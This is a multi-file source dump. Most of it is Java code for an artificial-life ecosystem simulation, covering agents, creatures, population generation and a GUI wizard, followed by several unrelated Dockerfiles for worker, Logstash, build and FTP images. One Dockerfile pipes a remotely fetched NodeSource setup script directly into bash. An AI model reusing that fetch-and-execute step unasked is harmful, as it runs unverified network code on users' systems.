<file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/settings/AgentParameterPanel.java package org.blackpanther.ecosystem.gui.settings; import org.blackpanther.ecosystem.factory.fields.FieldMould; import org.blackpanther.ecosystem.factory.fields.FieldsConfiguration; import org.blackpanther.ecosystem.factory.fields.GeneFieldMould; import org.blackpanther.ecosystem.gui.settings.fields.SettingField; import org.blackpanther.ecosystem.gui.settings.fields.mutable.Mutable; import org.blackpanther.ecosystem.gui.settings.fields.randomable.RandomSettingField; import javax.swing.*; import java.util.ArrayList; import java.util.Collection; import java.util.Map; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:59 CEST 2011 */ public abstract class AgentParameterPanel extends ParameterPanel { protected AgentParameterPanel(String name) { super(name); } @Override protected void generateContent(Box layout) { Box state = Box.createVerticalBox(); Box genotype = Box.createVerticalBox(); state.setBorder(BorderFactory.createTitledBorder("State")); genotype.setBorder(BorderFactory.createTitledBorder("Genotype")); fillUpState(state); fillUpGenotype(genotype); if (state.getComponentCount() > 0) layout.add(state); if (genotype.getComponentCount() > 0) layout.add(genotype); } abstract void fillUpState(Box layout); abstract void fillUpGenotype(Box layout); @SuppressWarnings("unchecked") public void updateInformation(FieldsConfiguration information) { for (Map.Entry<String, SettingField> entry : parameters.entrySet()) { SettingField field = entry.getValue(); FieldMould incomingMould = information.getField(entry.getKey()); if( incomingMould instanceof GeneFieldMould) { GeneFieldMould geneMould = (GeneFieldMould) incomingMould; Mutable geneField = (Mutable) field; geneField.setMutable( geneMould.isMutable()); } RandomSettingField randomField = (RandomSettingField) field; randomField.setRandomized( incomingMould.isRandomized()); field.setValue( information.getValue(entry.getKey())); } } public Collection<FieldMould> getMoulds() { Collection<FieldMould> moulds = new ArrayList<FieldMould>(parameters.size()); for (SettingField field : parameters.values()) moulds.add(field.toMould()); return moulds; } } <file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/actions/EnvironmentFromFile.java package org.blackpanther.ecosystem.gui.actions; import org.blackpanther.ecosystem.ApplicationConstants; import org.blackpanther.ecosystem.Configuration; import org.blackpanther.ecosystem.Environment; import org.blackpanther.ecosystem.agent.Resource; import org.blackpanther.ecosystem.agent.ResourceConstants; import org.blackpanther.ecosystem.factory.fields.FieldsConfiguration; import org.blackpanther.ecosystem.factory.fields.StateFieldMould; import org.blackpanther.ecosystem.gui.GUIMonitor; import org.blackpanther.ecosystem.gui.WorldFrame; import javax.imageio.ImageIO; import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.geom.Point2D; import java.awt.image.BufferedImage; import java.beans.EventHandler; import java.io.File; import java.io.IOException; import static javax.swing.BoxLayout.X_AXIS; import static javax.swing.BoxLayout.Y_AXIS; import static org.blackpanther.ecosystem.agent.AgentConstants.AGENT_LOCATION; import static org.blackpanther.ecosystem.factory.generator.StandardProvider.StandardProvider; import static org.blackpanther.ecosystem.gui.formatter.RangeModels.generateIntegerModel; import static org.blackpanther.ecosystem.gui.formatter.RangeModels.generatePositiveDoubleModel; import static org.blackpanther.ecosystem.gui.formatter.RangeModels.generatePositiveIntegerModel; import static org.blackpanther.ecosystem.helper.Helper.require; /** * @author <NAME> * @version 6/11/11 */ public class EnvironmentFromFile extends FileBrowserAction { private EnvironmentWizard creationWizard = new EnvironmentWizard(); private EnvironmentFromFile() { super("Create an environment from an image file", "Image files", "png", "jpg", "jpeg", "gif" ); } private static class EnvironmentFromFileHolder { private static final EnvironmentFromFile instance = new EnvironmentFromFile(); } public static EnvironmentFromFile getInstance() { return EnvironmentFromFileHolder.instance; } @Override public void actionPerformed(ActionEvent e) { creationWizard.setVisible(true); } public class EnvironmentWizard extends JDialog { private static final String NO_FILE_SELECTED = "No file selected."; private JLabel path = new JLabel(NO_FILE_SELECTED); private JSpinner defaultEnergy = new JSpinner(generatePositiveDoubleModel()); private JSpinner dropperStep = new JSpinner(generateIntegerModel(1, Integer.MAX_VALUE)); private boolean excludeWhite = false; JButton accept = new JButton("Accept"); private File selectedFile = null; private EnvironmentWizard() { super(WorldFrame.getInstance()); defaultEnergy.setValue(100.0); defaultEnergy.setPreferredSize(new Dimension(100, 30)); dropperStep.setValue(1); dropperStep.setPreferredSize(new Dimension(100, 30)); accept.setEnabled(false); path.setEnabled(false); path.setFont(new Font("Default", Font.ITALIC, 10)); JButton chooseFile = new JButton("Select your image"); JButton cancel = new JButton("Cancel"); JLabel energyAmountLabel = new JLabel("Initial amount for resources : "); energyAmountLabel.setLabelFor(defaultEnergy); JLabel dropperStepLabel = new JLabel("Drop step (in pixels) : "); dropperStepLabel.setLabelFor(dropperStep); JCheckBox excludeWhite = new JCheckBox("Exclude white color ? ", false); excludeWhite.addActionListener(EventHandler.create( ActionListener.class, this, "updateExcludeWhiteProperty", "source.selected" )); chooseFile.addActionListener(EventHandler.create( ActionListener.class, this, "updateFilePath" )); accept.addActionListener(EventHandler.create( ActionListener.class, this, "generateEnvironment" )); cancel.addActionListener(EventHandler.create( ActionListener.class, this, "cancelOperation" )); Box labeledEnergyField = new Box(X_AXIS); labeledEnergyField.add(energyAmountLabel); labeledEnergyField.add(defaultEnergy); Box labeledDropperField = new Box(X_AXIS); labeledDropperField.add(dropperStepLabel); labeledDropperField.add(dropperStep); Box top = new Box(Y_AXIS); top.add(chooseFile); top.add(path); top.add(labeledEnergyField); top.add(labeledDropperField); top.add(excludeWhite); Box commands = new Box(X_AXIS); commands.add(accept); commands.add(cancel); JPanel content = new JPanel(new BorderLayout()); content.setBorder(BorderFactory.createEmptyBorder(10,10,10,10)); content.add(top, BorderLayout.CENTER); content.add(commands, BorderLayout.SOUTH); setContentPane(content); pack(); } public void updateExcludeWhiteProperty(boolean shouldBeExcluded){ excludeWhite = shouldBeExcluded; } public void updateFilePath() throws IOException { switch (fc.showOpenDialog(null)) { case JFileChooser.APPROVE_OPTION: selectedFile = fc.getSelectedFile(); if (selectedFile != null) { path.setText(selectedFile.getCanonicalPath()); accept.setEnabled(true); } else { path.setText(NO_FILE_SELECTED); accept.setEnabled(false); } } } @SuppressWarnings("unchecked") public void generateEnvironment() { require(selectedFile != null); try { BufferedImage inputImage = ImageIO.read(selectedFile); Dimension imageDimension = new Dimension(inputImage.getWidth(), inputImage.getHeight()); Configuration.Configuration.setParameter( ApplicationConstants.SPACE_WIDTH, imageDimension.getWidth(), Double.class ); Configuration.Configuration.setParameter( ApplicationConstants.SPACE_HEIGHT, imageDimension.getHeight(), Double.class ); Environment imageEnvironment = new Environment(imageDimension); Double resourceEnergyAmount = (Double) defaultEnergy.getValue(); Integer dropStep = (Integer) dropperStep.getValue(); FieldsConfiguration resourceConfiguration = new FieldsConfiguration( new StateFieldMould<Double>( ResourceConstants.RESOURCE_ENERGY, StandardProvider(resourceEnergyAmount)) ); for (int i = 0; i < imageDimension.getWidth(); i+= dropStep) for (int j = 0; j < imageDimension.getHeight(); j+= dropStep) { Color pixelColor = new Color(inputImage.getRGB(i, j)); if( pixelColor.equals(Color.WHITE) && excludeWhite ) continue; resourceConfiguration.updateMould(new StateFieldMould( AGENT_LOCATION, StandardProvider( imageToEnvironment(i, j, imageDimension)) )); resourceConfiguration.updateMould(new StateFieldMould( ResourceConstants.RESOURCE_NATURAL_COLOR, StandardProvider( pixelColor ) )); imageEnvironment.add(new Resource(resourceConfiguration)); } GUIMonitor.Monitor.setCurrentEnvironment(imageEnvironment); setVisible(false); } catch (IOException e) { e.printStackTrace(); } } public void cancelOperation() { setVisible(false); } private Point2D imageToEnvironment(int imageAbscissa, int imageOrdinate, Dimension imageDimension) { double environmentAbscissa = imageAbscissa - (imageDimension.getWidth() / 2.0); double environmentOrdinate = (imageDimension.getHeight() / 2.0) - imageOrdinate; return new Point2D.Double( environmentAbscissa, environmentOrdinate ); } } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/PopulationFactory.java package org.blackpanther.ecosystem.factory; import org.blackpanther.ecosystem.agent.Agent; import org.blackpanther.ecosystem.agent.Creature; import org.blackpanther.ecosystem.factory.fields.FieldsConfiguration; import org.blackpanther.ecosystem.factory.fields.StateFieldMould; import java.awt.geom.Dimension2D; import java.awt.geom.Point2D; import java.util.ArrayList; import java.util.Collection; import static org.blackpanther.ecosystem.Configuration.*; import static org.blackpanther.ecosystem.agent.AgentConstants.AGENT_LOCATION; import static org.blackpanther.ecosystem.agent.CreatureConstants.CREATURE_ORIENTATION; import static org.blackpanther.ecosystem.factory.generator.StandardProvider.StandardProvider; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public class PopulationFactory { private static final java.util.logging.Logger logger = java.util.logging.Logger.getLogger(PopulationFactory.class.getCanonicalName()); @SuppressWarnings("unchecked") public static <T extends Agent> Collection<T> generatePool( Class<T> species, FieldsConfiguration agentConfiguration, Integer agentNumber) { Collection<T> pool = new ArrayList<T>(agentNumber); for (long number = agentNumber; number-- > 0; ) { //update location agentConfiguration.updateMould(new StateFieldMould( AGENT_LOCATION, StandardProvider(new Point2D.Double( Configuration.getParameter(SPACE_WIDTH, Double.class) * Configuration.getRandom().nextDouble() - Configuration.getParameter(SPACE_WIDTH, Double.class) / 2.0, Configuration.getParameter(SPACE_HEIGHT, Double.class) * Configuration.getRandom().nextDouble() - Configuration.getParameter(SPACE_HEIGHT, Double.class) / 2.0 )) )); //add specific agent in the pool pool.add(EnvironmentAbstractFactory .getFactory(species) .createAgent(agentConfiguration)); } return pool; } @SuppressWarnings("unchecked") public static <T extends Agent> Collection<T> generateGridPool( Class<T> species, FieldsConfiguration agentConfiguration, Dimension2D gridDimension, double step) { Collection<T> pool = new ArrayList<T>( (int) ((gridDimension.getHeight() * gridDimension.getWidth()) / step)); double widthBy2 = gridDimension.getWidth() / 2.0; double heightBy2 = gridDimension.getHeight() / 2.0; for (double abscissa = -widthBy2; abscissa < widthBy2; abscissa += step) { for (double ordinate = -heightBy2; ordinate < heightBy2; ordinate += step) { //update location agentConfiguration.updateMould(new StateFieldMould( AGENT_LOCATION, StandardProvider(new Point2D.Double(abscissa, ordinate)) )); //add specific agent in the pool pool.add(species.cast( EnvironmentAbstractFactory .getFactory(species) .createAgent(agentConfiguration))); } } return pool; } @SuppressWarnings("unchecked") public static <T extends Agent> Collection<T> generateCirclePool( Class<T> species, FieldsConfiguration agentConfiguration, Integer agentNumber, Double circleRadius) { Collection<T> pool = new ArrayList<T>(agentNumber); double incrementation = (2.0 * Math.PI) / agentNumber; double orientation = 0.0; for (long number = agentNumber; number-- > 0; orientation += incrementation) { //update location agentConfiguration.updateMould(new StateFieldMould( AGENT_LOCATION, StandardProvider(new Point2D.Double( circleRadius * Math.cos(orientation), circleRadius * Math.sin(orientation))) )); //add specific agent in the pool pool.add(EnvironmentAbstractFactory .getFactory(species) .createAgent(agentConfiguration)); } return pool; } @SuppressWarnings("unchecked") public static Collection<Creature> generateCreatureCirclePool( FieldsConfiguration agentConfiguration, Integer agentNumber, Double circleRadius) { Collection<Creature> pool = new ArrayList<Creature>(agentNumber); double incrementation = (2.0 * Math.PI) / agentNumber; double orientation = 0.0; for (long number = agentNumber; number-- > 0; orientation += incrementation) { //update location agentConfiguration.updateMould(new StateFieldMould( AGENT_LOCATION, StandardProvider(new Point2D.Double( circleRadius * Math.cos(orientation), circleRadius * Math.sin(orientation))) )); //update orientation agentConfiguration.updateMould(new StateFieldMould( CREATURE_ORIENTATION, StandardProvider(orientation) )); //add specific agent in the pool pool.add(EnvironmentAbstractFactory .getFactory(Creature.class) .createAgent(agentConfiguration)); } return pool; } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/fields/FieldsConfiguration.java package org.blackpanther.ecosystem.factory.fields; import org.blackpanther.ecosystem.behaviour.BehaviorManager; import org.blackpanther.ecosystem.math.Geometry; import java.awt.*; import java.io.Serializable; import java.util.Arrays; import java.util.HashMap; import java.util.Map; import java.util.Properties; import static org.blackpanther.ecosystem.agent.CreatureConstants.*; import static org.blackpanther.ecosystem.agent.ResourceConstants.*; import static org.blackpanther.ecosystem.factory.generator.StandardProvider.StandardProvider; import static org.blackpanther.ecosystem.helper.Helper.isGene; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public class FieldsConfiguration implements Serializable, Cloneable { private static final long serialVersionUID = 1L; public static final String[] UNBOUNDED_FIELDS = new String[]{ CREATURE_CURVATURE, }; public static final String[] ANGLE_FIELDS = new String[]{ CREATURE_ORIENTATION, CREATURE_ORIENTATION_LAUNCHER, }; public static final String[] POSITIVE_FIELDS = new String[]{ CREATURE_ENERGY, RESOURCE_ENERGY, CREATURE_SPEED, CREATURE_SPEED_LAUNCHER, CREATURE_FECUNDATION_COST, CREATURE_SENSOR_RADIUS, CREATURE_CONSUMMATION_RADIUS, }; public static final String[] PROBABILITY_FIELDS = new String[]{ CREATURE_MOVEMENT_COST, CREATURE_FECUNDATION_LOSS, CREATURE_GREED, CREATURE_FLEE, CREATURE_IRRATIONALITY, CREATURE_MORTALITY, CREATURE_FECUNDITY, CREATURE_MUTATION }; public static final String[] COLOR_FIELDS = new String[]{ CREATURE_NATURAL_COLOR, RESOURCE_NATURAL_COLOR, CREATURE_COLOR }; public static final String[] BEHAVIOR_FIELDS = new String[]{ CREATURE_BEHAVIOR }; static { Arrays.sort(UNBOUNDED_FIELDS); Arrays.sort(ANGLE_FIELDS); Arrays.sort(POSITIVE_FIELDS); Arrays.sort(PROBABILITY_FIELDS); Arrays.sort(COLOR_FIELDS); Arrays.sort(BEHAVIOR_FIELDS); } private Map<String, FieldMould> wrappedFieldProvider = new HashMap<String, FieldMould>(); public FieldsConfiguration(FieldMould... moulds) { for (FieldMould mould : moulds) wrappedFieldProvider.put(mould.getName(), mould); } @SuppressWarnings("unchecked") public FieldsConfiguration(Properties props) { for (String field : UNBOUNDED_FIELDS) { Double fieldValue = Double.parseDouble((String) props.get(field)); FieldMould mould = isGene(field) ? new GeneFieldMould(field, StandardProvider(fieldValue), false) : new StateFieldMould(field, StandardProvider(fieldValue)); wrappedFieldProvider.put(mould.getName(), mould); } for (String field : ANGLE_FIELDS) { Double fieldValue = Double.parseDouble((String) props.get(field)) % Geometry.PI_2; FieldMould mould = isGene(field) ? new GeneFieldMould(field, StandardProvider(fieldValue), false) : new StateFieldMould(field, StandardProvider(fieldValue)); wrappedFieldProvider.put(mould.getName(), mould); } for (String field : POSITIVE_FIELDS) { Double fieldValue = Math.max( 0.0, Double.parseDouble((String) props.get(field))); FieldMould mould = isGene(field) ? new GeneFieldMould(field, StandardProvider(fieldValue), false) : new StateFieldMould(field, StandardProvider(fieldValue)); wrappedFieldProvider.put(mould.getName(), mould); } for (String field : PROBABILITY_FIELDS) { Double fieldValue = Math.max( 0.0, Math.min( 1.0, Double.parseDouble((String) props.get(field)))); FieldMould mould = isGene(field) ? new GeneFieldMould(field, StandardProvider(fieldValue), false) : new StateFieldMould(field, StandardProvider(fieldValue)); wrappedFieldProvider.put(mould.getName(), mould); } for (String field : COLOR_FIELDS) { Color fieldValue = new Color( Integer.parseInt( (String) props.get(field), 16)); FieldMould mould = isGene(field) ? new GeneFieldMould(field, StandardProvider(fieldValue), false) : new StateFieldMould(field, StandardProvider(fieldValue)); wrappedFieldProvider.put(mould.getName(), mould); } for (String field : BEHAVIOR_FIELDS) { try { BehaviorManager fieldValue = (BehaviorManager) Class.forName( (String) props.get(field) ).newInstance(); FieldMould mould = isGene(field) ? new GeneFieldMould(field, StandardProvider(fieldValue), false) : new StateFieldMould(field, StandardProvider(fieldValue)); wrappedFieldProvider.put(mould.getName(), mould); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } } public void updateMould(FieldMould mould) { if (mould != null) wrappedFieldProvider.put(mould.getName(), mould); } public Object getValue(String traitName) { FieldMould mould = wrappedFieldProvider.get(traitName); if (mould == null) throw new IllegalStateException(traitName + " is not bundled in this configuration"); return mould.getValue(); } public FieldMould getField(String traitName) { return wrappedFieldProvider.get(traitName); } public boolean isMutable(Class species, String trait) { isGene(species, trait); try { GeneFieldMould mould = (GeneFieldMould) wrappedFieldProvider.get(trait); return mould.isMutable(); } catch (Throwable e) { return false; } } public static void checkResourceConfiguration(FieldsConfiguration configuration) { for (String stateTrait : BUILD_PROVIDED_RESOURCE_STATE) if (!configuration.wrappedFieldProvider.containsKey(stateTrait)) throw new IllegalStateException("Given configuration is incomplete to build a resource : " + "missing trait '" + stateTrait + "'"); for (String genotypeTrait : RESOURCE_GENOTYPE) if (!configuration.wrappedFieldProvider.containsKey(genotypeTrait)) throw new IllegalStateException("Given configuration is incomplete to build a resource : " + "missing trait '" + genotypeTrait + "'"); } public static void checkCreatureConfiguration(FieldsConfiguration configuration) { for (String stateTrait : BUILD_PROVIDED_CREATURE_STATE) if (!configuration.wrappedFieldProvider.containsKey(stateTrait)) throw new IllegalStateException("Given configuration is incomplete to build a creature : " + "missing trait '" + stateTrait + "'"); for (String genotypeTrait : CREATURE_GENOTYPE) if (!configuration.wrappedFieldProvider.containsKey(genotypeTrait)) throw new IllegalStateException("Given configuration is incomplete to build a creature : " + "missing trait '" + genotypeTrait + "'"); } @Override public FieldsConfiguration clone() { try { return (FieldsConfiguration) super.clone(); } catch (CloneNotSupportedException e) { throw new Error("unexpected error"); } } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/agent/CreatureConstants.java package org.blackpanther.ecosystem.agent; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public interface CreatureConstants extends AgentConstants { public static final String CREATURE_ENERGY = "creature-energy"; public static final String CREATURE_COLOR = "creature-color"; public static final String CREATURE_AGE = "creature-age"; public static final String CREATURE_ORIENTATION = "creature-orientation"; public static final String CREATURE_CURVATURE = "creature-curvature"; public static final String CREATURE_SPEED = "creature-speed"; public static final String CREATURE_NATURAL_COLOR = "creature-natural-color"; public static final String CREATURE_MOVEMENT_COST = "creature-movement-cost"; public static final String CREATURE_FECUNDATION_COST = "creature-fecundation-cost"; public static final String CREATURE_FECUNDATION_LOSS = "creature-fecundation-loss"; public static final String CREATURE_GREED = "creature-greed"; public static final String CREATURE_FLEE = "creature-flee"; public static final String CREATURE_SENSOR_RADIUS = "creature-sensor-radius"; public static final String CREATURE_CONSUMMATION_RADIUS = "creature-consummation-radius"; public static final String CREATURE_IRRATIONALITY = "creature-irrationality"; public static final String CREATURE_MORTALITY = "creature-mortality"; public static final String CREATURE_FECUNDITY = "creature-fecundity"; public static final String CREATURE_MUTATION = "creature-mutation"; public static final String CREATURE_ORIENTATION_LAUNCHER = "creature-orientation-launcher"; public static final String CREATURE_SPEED_LAUNCHER = "creature-speed-launcher"; public static final String CREATURE_BEHAVIOR = "creature-behavior"; public static final String[] CREATURE_STATE = new String[]{ CREATURE_AGE, CREATURE_COLOR, CREATURE_CURVATURE, CREATURE_ENERGY, AGENT_LOCATION, CREATURE_ORIENTATION, CREATURE_SPEED }; public static final String[] CREATURE_GENOTYPE = new String[]{ CREATURE_NATURAL_COLOR, CREATURE_MOVEMENT_COST, CREATURE_FECUNDATION_COST, CREATURE_FECUNDATION_LOSS, CREATURE_GREED, CREATURE_FLEE, CREATURE_SENSOR_RADIUS, CREATURE_CONSUMMATION_RADIUS, CREATURE_IRRATIONALITY, CREATURE_MORTALITY, CREATURE_FECUNDITY, CREATURE_MUTATION, CREATURE_ORIENTATION_LAUNCHER, CREATURE_SPEED_LAUNCHER, CREATURE_BEHAVIOR }; /** * Trait provided to create an creature */ public static final String[] BUILD_PROVIDED_CREATURE_STATE = new String[]{ CREATURE_COLOR, CREATURE_CURVATURE, CREATURE_ENERGY, AGENT_LOCATION, CREATURE_ORIENTATION, CREATURE_SPEED }; public static final String[] CUSTOMIZABLE_CREATURE_STATE = new String[]{ CREATURE_COLOR, CREATURE_CURVATURE, CREATURE_ENERGY, CREATURE_ORIENTATION, CREATURE_SPEED }; } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/agent/Agent.java package org.blackpanther.ecosystem.agent; import org.blackpanther.ecosystem.Environment; import org.blackpanther.ecosystem.event.AgentEvent; import org.blackpanther.ecosystem.factory.fields.FieldsConfiguration; import java.awt.geom.Point2D; import java.io.Serializable; import java.util.HashMap; import java.util.Map; import static org.blackpanther.ecosystem.helper.Helper.require; /** * <p> * Component which represent an agent within an ecosystem. * It implements all basic features for an agent, * specific behaviour are left to subclasses * </p> * * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public abstract class Agent implements Serializable, Cloneable, CreatureConstants { /** * Serializable identifier */ private static final long serialVersionUID = 6L; private static long idGenerator = 0; /*========================================= * GENOTYPE *========================================= */ protected Map<String, Object> genotype = new HashMap<String, Object>(); protected Map<String, Boolean> mutableTable = new HashMap<String, Boolean>(); /*========================================= * PHENOTYPE *========================================= */ protected Map<String, Object> currentState = new HashMap<String, Object>(AGENT_STATE.length); /*========================================================================= MISCELLANEOUS =========================================================================*/ /** * Agent's area listener */ private Long id = ++idGenerator; protected Agent(FieldsConfiguration config) { for (String stateTrait : BUILD_PROVIDED_AGENT_STATE) currentState.put(stateTrait, config.getValue(stateTrait)); } abstract public void update(final Environment env); public void attachTo(Environment env) { require(env != null); env.getEventSupport().fireAgentEvent(AgentEvent.Type.BORN, this); } /** * Unset the current area listener if any */ public void detachFromEnvironment(Environment env) { env.getEventSupport().fireAgentEvent(AgentEvent.Type.DEATH, this); } /* ================================================ * GETTERS * ================================================ */ @SuppressWarnings("unchecked") public <T> T getGene(String geneName, Class<T> geneType) { Object correspondingGene = genotype.get(geneName); if (correspondingGene != null) { if (geneType.isInstance(correspondingGene)) { return (T) correspondingGene; } else { throw new IllegalArgumentException( String.format("%s gene does not match given type, please check again", geneName) ); } } else { throw new IllegalArgumentException(String.format( "'%s' parameter is not provided by the current configuration, " + "maybe you should register it before", geneName )); } } @SuppressWarnings("unchecked") public <T> T getState(String stateName, Class<T> stateType) { Object correspondingGene = currentState.get(stateName); if (correspondingGene != null) { if (stateType.isInstance(correspondingGene)) { return (T) correspondingGene; } else { throw new IllegalArgumentException( String.format("%s state does not match given type, please check again", stateName) ); } } else { throw new IllegalArgumentException(String.format( "'%s' parameter is not provided by the current configuration, " + "maybe you should register it before", stateName )); } } public boolean isMutable(String genotypeTrait) { return mutableTable.get(genotypeTrait); } abstract public double getEnergy(); /** * Get current agent's location in its environment * * @return current agent's position */ public Point2D getLocation() { return getState(AGENT_LOCATION, Point2D.class); } /*========================================================================= * SETTERS * Visibility is set to package because * they are meant to be modified by nothing except the behaviour manager *========================================================================= */ public void setLocation(double abscissa, double ordinate) { currentState.put(AGENT_LOCATION, new Point2D.Double(abscissa, ordinate)); } abstract public void setEnergy(Double energy); @Override public Agent clone() { try { Agent copy = (Agent) super.clone(); copy.currentState = new HashMap<String, Object>(this.currentState); copy.genotype = new HashMap<String, Object>(this.genotype); copy.mutableTable = new HashMap<String, Boolean>(this.mutableTable); return copy; } catch (CloneNotSupportedException e) { throw new Error(e); } } @Override public String toString() { return super.toString() + "[Agent" + Long.toHexString(id) + "]"; } }<file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/event/EnvironmentEvent.java package org.blackpanther.ecosystem.event; import org.blackpanther.ecosystem.Environment; import java.util.EventObject; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public abstract class EnvironmentEvent extends EventObject { public EnvironmentEvent(Environment source) { super(source); } public Environment getSource() { return (Environment) super.getSource(); } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/line/AgentLine.java package org.blackpanther.ecosystem.line; import org.blackpanther.ecosystem.agent.Creature; import org.blackpanther.ecosystem.behaviour.BehaviorManager; import java.awt.*; import java.awt.geom.Line2D; import java.awt.geom.Point2D; import static org.blackpanther.ecosystem.agent.CreatureConstants.CREATURE_NATURAL_COLOR; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public class AgentLine extends Line2D.Double{ private Color genotypeColor; private Color phenotypeColor; private Class<? extends BehaviorManager> species; private java.lang.Double power; public AgentLine(Point2D x, Point2D y, Creature agent) { super(x, y); this.genotypeColor = agent.getGene(CREATURE_NATURAL_COLOR,Color.class); this.phenotypeColor = agent.getColor(); this.species = agent.getBehaviour().getClass(); this.power = agent.getEnergy(); } public Color getGenotypeColor() { return genotypeColor; } public Color getPhenotypeColor() { return phenotypeColor; } public Class<? extends BehaviorManager> getSpecies() { return species; } public java.lang.Double getPower() { return power; } }
820517fa61efc666f030a90a465840d642bc543e
[ "Java", "Maven POM", "INI" ]
40
Java
theblackunknown/creative-ecosystems
f86adb5c593401fa541def86948906c6381daad5
a47cf77c21100f0fb1204cb4e16dacf1491f34fc
refs/heads/master
<file_sep>FROM alpine:3.4 MAINTAINER Urb-it AB <<EMAIL>> ENV SUPERVISOR_VERSION=3.3.3 ADD ./worker.conf /etc/supervisord.conf COPY requirements.txt . # Install dependencies RUN echo http://dl-4.alpinelinux.org/alpine/edge/testing \ >> /etc/apk/repositories \ && echo http://dl-4.alpinelinux.org/alpine/edge/main \ >> /etc/apk/repositories \ && echo http://dl-4.alpinelinux.org/alpine/edge/community \ >> /etc/apk/repositories \ && apk --no-cache --update add \ openssl-dev \ openssl \ ca-certificates \ python2 \ python3 \ && update-ca-certificates \ && python3 -m ensurepip \ && python -m ensurepip \ && rm -r /usr/lib/python*/ensurepip \ && pip3 install --upgrade pip setuptools \ && pip3 install -r requirements.txt \ && pip install \ supervisor==$SUPERVISOR_VERSION \ supervisor-stdout \ && rm -r /root/.cache \ && apk --no-cache del \ wget \ openssl-dev \ && rm -rf /var/cache/apk/* /tmp/* WORKDIR /usr/local/worker ENTRYPOINT ["/bin/sh", "-c", "supervisord", "--nodaemon" ,"--configuration /etc/supervisord.conf"] <file_sep>FROM logstash:2 MAINTAINER <NAME> <<EMAIL>> RUN plugin install logstash-output-amazon_es RUN apt-get update && apt-get install -y --no-install-recommends gettext-base \ && rm -rf /var/lib/apt/lists/* COPY ims.tpl.conf /config/ims.tpl.conf COPY init.sh /init.sh RUN chmod +x /init.sh CMD /init.sh<file_sep>FROM openjdk:8-jre-buster LABEL maintainer="<EMAIL>" # Environment variables ENV YARN_VERSION 1.0.2 # Add nodejs repo RUN curl -sL https://deb.nodesource.com/setup_10.x | bash - # Install & clean up dependencies RUN apt-get update && apt-get install -y --no-install-recommends \ ocaml \ libelf-dev \ nodejs \ git \ build-essential \ && npm i -g \ yarn@$YARN_VERSION \ && rm -rf /var/lib/apt/lists/* /var/cache/apt/* # Set /usr/bin/python to be v3.7 RUN update-alternatives --install /usr/bin/python python /usr/bin/python3.7 1 WORKDIR /home <file_sep>FROM php:7.3-alpine3.13 MAINTAINER Urbit <<EMAIL>> # Add configs ADD ./prooph.ini /usr/local/etc/php/conf.d ADD ./worker.conf /etc/supervisor/worker.conf # Environment variables ENV ALPINE_VERSION 3.13 ENV PHP_API_VERSION 20160303 ENV PYTHON_VERSION=3.8.10-r0 ENV PY_PIP_VERSION=20.3.4-r0 ENV SUPERVISOR_VERSION=4.2.4 ENV MONGODB_VERSION=1.6.1 ENV PHP_AMQP_VERSION=1.9.4 ARG UID=1000 ARG GID=2000 # Install & clean up dependencies RUN apk --no-cache --update --repository http://dl-cdn.alpinelinux.org/alpine/v$ALPINE_VERSION/main/ add \ autoconf \ build-base \ ca-certificates \ python3=$PYTHON_VERSION \ py3-pip=$PY_PIP_VERSION \ curl \ openssl \ openssl-dev \ rabbitmq-c \ rabbitmq-c-dev \ libtool \ icu \ icu-libs \ icu-dev \ libwebp RUN apk --no-cache --update --repository http://dl-3.alpinelinux.org/alpine/v$ALPINE_VERSION/community/ add \ php7-sockets \ php7-zlib \ php7-intl \ php7-opcache \ php7-bcmath \ && docker-php-ext-configure intl \ && pecl install \ mongodb-$MONGODB_VERSION \ amqp-$PHP_AMQP_VERSION \ && docker-php-ext-install \ sockets \ intl \ opcache \ bcmath \ && docker-php-ext-enable \ mongodb \ amqp \ && apk --no-cache del \ wget \ icu-dev \ tar \ autoconf \ build-base \ rabbitmq-c-dev \ libtool \ && rm -rf /var/cache/apk/* /tmp/* ./newrelic-php5-$NEWRELIC_VERSION-linux-musl* # Install supervisor RUN pip3 install supervisor==$SUPERVISOR_VERSION WORKDIR /var/www/application RUN addgroup -g $GID -S prooph || true \ && adduser -u $UID -D -S -h /var/cache/nginx -s /sbin/nologin -G prooph prooph || true RUN chown -R prooph:prooph /var/www/application USER prooph RUN touch /var/www/application/supervisord.log CMD sh -c "supervisord --nodaemon --configuration /etc/supervisor/worker.conf" <file_sep>FROM alpine:3.4 MAINTAINER <NAME> <<EMAIL>> ENV REFRESHED_AT 20160823 ENV S3FS_VERSION 1.79 RUN apk --update --no-cache --repository http://dl-3.alpinelinux.org/alpine/edge/community/ add \ fuse \ alpine-sdk \ linux-pam \ automake \ autoconf \ libxml2-dev \ shadow \ fuse-dev \ curl-dev \ vsftpd \ && wget -qO- https://github.com/s3fs-fuse/s3fs-fuse/archive/v${S3FS_VERSION}.tar.gz|tar xz \ && cd s3fs-fuse-${S3FS_VERSION} \ && ./autogen.sh \ && ./configure --prefix=/usr \ && make \ && make install \ && rm -rf /var/cache/apk/* RUN ln -sf /dev/stdout /var/log/vsftpd.log COPY fuse.conf /etc/fuse.conf COPY vsftpd.conf /etc/vsftpd/vsftpd.conf COPY ssl.conf /etc/vsftpd/ssl.conf COPY init.sh /init.sh RUN chmod +x /init.sh RUN addgroup ftpuser CMD /init.sh && s3fs ${VSFTP_S3_BUCKET}:/ ${VSFTP_S3_MOUNTPOINT} -o 